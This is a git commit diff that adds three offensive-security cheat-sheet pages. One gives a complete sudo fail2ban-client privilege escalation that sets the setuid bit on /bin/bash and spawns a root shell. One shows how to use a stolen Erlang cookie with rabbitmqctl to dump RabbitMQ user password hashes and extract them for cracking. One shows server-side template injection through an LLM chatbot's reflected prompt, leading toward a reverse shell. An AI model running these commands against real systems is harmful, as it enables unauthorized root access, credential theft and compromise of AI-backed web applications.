Skip to content

Commit 6ff6e15

Browse files
committed
updated
1 parent f3c2ba3 commit 6ff6e15

File tree

3 files changed

+105
-0
lines changed

3 files changed

+105
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
---
2+
title: Sudo Fail2ban-Client Privilege Escalation
3+
description: Sudo fail2ban-client command might be vulnerable to privilege escalation (PrivEsc).
4+
tags:
5+
- Privilege Escalation
6+
refs:
7+
date: 2025-03-12
8+
draft: false
9+
---
10+
11+
## Investigation
12+
13+
```bash
14+
sudo -l
15+
16+
# Output:
17+
(ALL) NOPASSWD: /usr/bin/fail2ban-client
18+
```
19+
20+
If we can execute `fail2ban-client` command as root, we may be able to escalate privilege and gain a root shell.
21+
22+
## Exploit
23+
24+
```bash
25+
# Get jail list
26+
sudo /usr/bin/fail2ban-client status
27+
# Choose one of the jails from the "Jail list" in the output.
28+
sudo /usr/bin/fail2ban-client get <JAIL> actions
29+
# Create a new action with arbitrary name (e.g. "evil")
30+
sudo /usr/bin/fail2ban-client set <JAIL> addaction evil
31+
# Set payload to actionban
32+
sudo /usr/bin/fail2ban-client set <JAIL> action evil actionban "chmod +s /bin/bash"
33+
# Trigger the action
34+
sudo /usr/bin/fail2ban-client set <JAIL> banip 1.2.3.5
35+
# Now we gain a root
36+
/bin/bash -p
37+
```
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
---
2+
title: AMQP (Advanced Message Queuing Protocol)
3+
description: AMQP is an open standard application layer protocol. Defaults Ports are 5671, 5672.
4+
tags:
5+
- Network
6+
refs:
7+
date: 2025-03-12
8+
draft: false
9+
---
10+
11+
## Connect
12+
13+
We can use `rabbitmqctl` command for interacting with the AMQP server from remote machine.
14+
If it does not exist on your machine, install it with the following command:
15+
16+
```bash
17+
sudo apt install rabbitmq-server
18+
```
19+
20+
Now we can use it.
21+
22+
```bash
23+
# Get status
24+
sudo rabbitmqctl --erlang-cookie "abcde..." --node rabbit@<target-hostname> status
25+
26+
# Get all users
27+
sudo rabbitmqctl --erlang-cookie "abcde..." --node rabbit@<target-hostname> list_users
28+
29+
# Dump user password hash (format: Base64 encoded RabbitMQ SHA-256)
30+
sudo rabbitmqctl --erlang-cookie "abcde..." --node rabbit@<target-hostname> export_definitions /tmp/output.json
31+
```
32+
33+
## Get Password
34+
35+
If we get the password hash after the `rabbitmqctl export_definitions` command, we can extract the password from it. The hash is Base64-encoded and the format is as below by default:
36+
37+
```bash
38+
BASE64(4_BYTE_SALT + SHA256(4_BYTE_SALT + PASSWORD))
39+
```
40+
41+
So extract the SHA256 hash with the following command:
42+
43+
```bash
44+
# cut -c9-: Output from the 9th character (to extract the first 4 bytes)
45+
echo -n '<password_hash>' | base64 -d | xxd -p -c 1000 | cut -c9-
46+
```
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
---
2+
title: LLM Chatbot Pentesting
3+
description: An LLM chatbot in a web application can be abused with some exploit techniques.
4+
tags:
5+
- LLM
6+
- Web
7+
refs:
8+
date: 2025-03-12
9+
draft: false
10+
---
11+
12+
## SSTI
13+
14+
If the chatbot reflects our prompt in the response, we might be able to abuse it with SSTI. For example,
15+
16+
```txt
17+
Prompt: How are you? {{ 2*3 }}
18+
19+
Response: I will answer your question "How are you? 6". I'm good, thanks! How about you?
20+
```
21+
22+
If it works, we can achieve reverse shell.

0 commit comments

Comments
 (0)